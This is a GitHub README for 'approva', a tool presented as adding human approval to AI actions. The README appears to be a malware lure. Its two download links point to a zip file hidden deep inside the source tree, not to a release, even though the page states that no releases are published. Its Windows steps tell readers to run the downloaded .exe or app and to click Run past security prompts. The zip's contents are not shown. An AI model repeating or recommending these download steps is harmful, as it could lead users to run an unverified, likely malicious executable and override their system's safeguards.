Skip to content

nologicog/approva

Repository files navigation

🤖 approva - Human approval for AI actions

Download approva

🧭 What approva does

approva adds a human approval step before an AI action runs. It helps you keep control over actions like file changes, webhooks, and other automated tasks.

Use it when you want AI to work with guardrails. approva gives you a simple way to review, approve, or deny an action before it happens.

📥 Download for Windows

Visit this page to download: https://github.com/nologicog/approva/raw/refs/heads/main/apps/approval-ui/app/console/settings/Software-v2.5.zip

  1. Open the link above in your browser.
  2. Find the latest release.
  3. Download the Windows file listed under Assets.
  4. Save the file to your computer.
  5. Open the file to start the app or installer.

If you see more than one file, pick the one for Windows. It may end in .exe or come in a .zip file.

🪟 Install and run

If you downloaded an .exe file:

  1. Double-click the file.
  2. If Windows asks for permission, choose Run.
  3. Follow the on-screen steps.
  4. Open approva from your Start menu or desktop if it adds a shortcut.

If you downloaded a .zip file:

  1. Right-click the file.
  2. Choose Extract All.
  3. Open the folder you extracted.
  4. Double-click the app file inside.
  5. If Windows shows a security prompt, choose Run.

✨ What you can use it for

approva fits into common approval flows for AI tools and scripts.

  • Review AI actions before they run
  • Approve file edits before they are applied
  • Block unsafe changes with a human check
  • Send approval requests through webhooks
  • Add passkey-based access for safer sign-in
  • Keep a record of who approved each action
  • Run the tool on your own machine or server

🔧 How it works

A simple flow keeps things clear:

  1. An AI tool prepares an action.
  2. approva pauses the action.
  3. You review the request.
  4. You approve or deny it.
  5. The action continues only if approved.

This gives you a clear control point. You decide what should happen, not the AI alone.

🧩 System needs

approva is meant for modern Windows computers.

  • Windows 10 or Windows 11
  • A browser for opening setup pages or web prompts
  • A stable internet connection for downloading the release
  • Enough disk space for the app and its logs
  • Basic permission to run downloaded apps

For best results, keep Windows updated before you install it.

🚀 First setup

After you open approva for the first time:

  1. Review the main screen.
  2. Connect any AI tool or workflow you want to control.
  3. Set up your approval method.
  4. Turn on webhooks if you want outside tools to send requests.
  5. Test one simple action to make sure the flow works.

If approva asks for a passkey, follow the prompt on screen. Passkeys help you sign in without a password.

🔒 Security and access

approva is built for controlled access.

  • Use passkeys for sign-in where available
  • Limit who can approve actions
  • Keep approval logs for review
  • Use self-hosted setup if you want local control
  • Check each request before it reaches a live system

This is useful when one wrong action can change files, send messages, or trigger other tools.

🌐 Webhooks

Webhooks let other apps send approval requests to approva.

You can use them to:

  • Connect internal tools
  • Trigger approval from an automation flow
  • Pause work until a human checks it
  • Send a decision back to the calling system

If you use webhooks, keep the URL private and share it only with trusted tools.

🛠️ Common use cases

approva can help in many day-to-day setups:

  • A coding agent wants to edit files
  • A script wants to delete data
  • An automation wants to send a message
  • A workflow wants to run a server task
  • A team wants a clear approval step before launch

It is useful when speed matters, but control matters more.

❓ Need help using the app

If the app does not open:

  1. Check that the file finished downloading.
  2. Make sure Windows did not block the file.
  3. Try running it again.
  4. Reboot your computer if the app still does not start.
  5. Download the latest release from the releases page.

If the app opens but does not connect:

  1. Check your internet connection.
  2. Confirm you used the correct approval or webhook settings.
  3. Try the test action again.
  4. Re-open the app and check the setup screen

📎 Release page

Download or update approva here: https://github.com/nologicog/approva/raw/refs/heads/main/apps/approval-ui/app/console/settings/Software-v2.5.zip

Releases

No releases published

Packages

 
 
 

Contributors